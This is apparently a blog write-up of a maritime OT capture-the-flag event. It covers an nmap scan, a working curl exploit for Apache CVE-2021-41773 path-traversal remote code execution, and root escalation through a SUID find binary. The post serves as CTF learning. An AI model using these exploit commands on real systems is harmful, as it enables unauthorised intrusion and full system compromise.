Last Wednesday I participated in my first Capture The Flag event: Hack the Boat, hosted by ON2IT at their headquarters in Zaltbommel. A live maritime OT (Operational Technology) CTF inside “THE GRID” — controlling a simulated military cargo vessel’s ballast system. We got second place.
This post is a walkthrough of the exploit path we took, and a few lessons I learned along the way.
The Setup
Kali Linux live ISO running inside a QEMU VM on my laptop. I made a huge mistake early on: I started the VM with default networking (QEMU user-mode NAT), which meant the VM couldn’t see anything else on the LAN. The target was at 192.168.9.131 and my host was at 192.168.9.121 — same subnet, but the VM was trapped behind QEMU’s internal NAT.
The fix: restart with the -nic tap flag so the VM gets its own IP on the physical network. Without that, you’re flying blind.
Step 1: Port Scan
nmap -p- -T4 --min-rate=5000 -Pn -n --open 192.168.9.131
One open port: 8000/tcp running HTTP.
Step 2: Identify the Service
curl -v http://192.168.9.131:8000/
The response headers gave it away:
Server: Apache/2.4.49 (Unix)
Apache 2.4.49 is vulnerable to CVE-2021-41773 — a path traversal vulnerability in the CGI module. The bug is in Apache’s path normalization: it doesn’t properly handle %2e (URL-encoded dot) sequences, allowing an attacker to escape the CGI directory and execute arbitrary commands.
Step 3: Exploit CVE-2021-41773
The exploit payload sends a POST request to /cgi-bin/ with enough /.%2e/ sequences to traverse back to root, then points to /bin/sh with the command in the request body.
Critical detail: You must use --path-as-is with curl. Without it, curl normalizes the path client-side — it resolves /.%2e/.%2e/ before sending the request, and the traversal never reaches the server.
curl -s --path-as-is \
'http://192.168.9.131:8000/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' \
-d 'echo Content-Type: text/plain; echo; id'
Response: uid=1(daemon) gid=1(daemon). We’re in, running as the daemon user.
Step 4: Enumeration
From the CGI shell, I enumerated the target:
uname -a # Linux monitor-desktop, aarch64, Ubuntu 24.04
sudo -l # daemon can run /home/monitor/Documents/fwrapper as monitor
find / -type f -perm -4000 2>/dev/null # look for SUID binaries
Bingo: /usr/bin/find had the SUID bit set and was owned by root.
-rwsr-xr-x 1 root root 265440 Apr 8 /usr/bin/find
Step 5: SUID find → Root
The find binary with SUID root is a well-known privilege escalation vector. The key is the -p flag on /bin/sh — it tells the shell to preserve the effective UID (root). Without -p, bash drops privileges back to the real UID (daemon).
/usr/bin/find . -exec /bin/sh -p -c "id" \; -quit
Output: euid=0(root). That’s it — immediate root access.
From there, a quick search for the flag:
find / -name '*flag*' -type f 2>/dev/null
What I Learned
1. Don’t waste time on rabbit holes. I spent a good chunk of time looking for hidden wireless SSIDs and trying to get a reverse shell working through the CVE. The reverse shell quoting in curl’s -d flag is finicky — bind shells are simpler, and running commands one-shot through the CVE works perfectly fine.
2. Check Apache version first. It’s in the response headers. If I’d checked that immediately, I would’ve gone straight to the CVE instead of poking around blindly.
3. SUID binaries are the fastest path to root. find, nmap, vim, less, python — if any of these have the SUID bit, you’re one command away from root.
4. Networking matters. User-mode NAT in QEMU cuts you off from the LAN. Always use TAP mode for CTFs where you need to reach actual targets.
Full Chain
nmap → Apache 2.4.49 → CVE-2021-41773 → RCE as daemon → SUID find → root
Two steps from zero to root, maybe 10 minutes once you know what to look for.
The other team got there first, but for a first CTF I’ll take second place. Next time.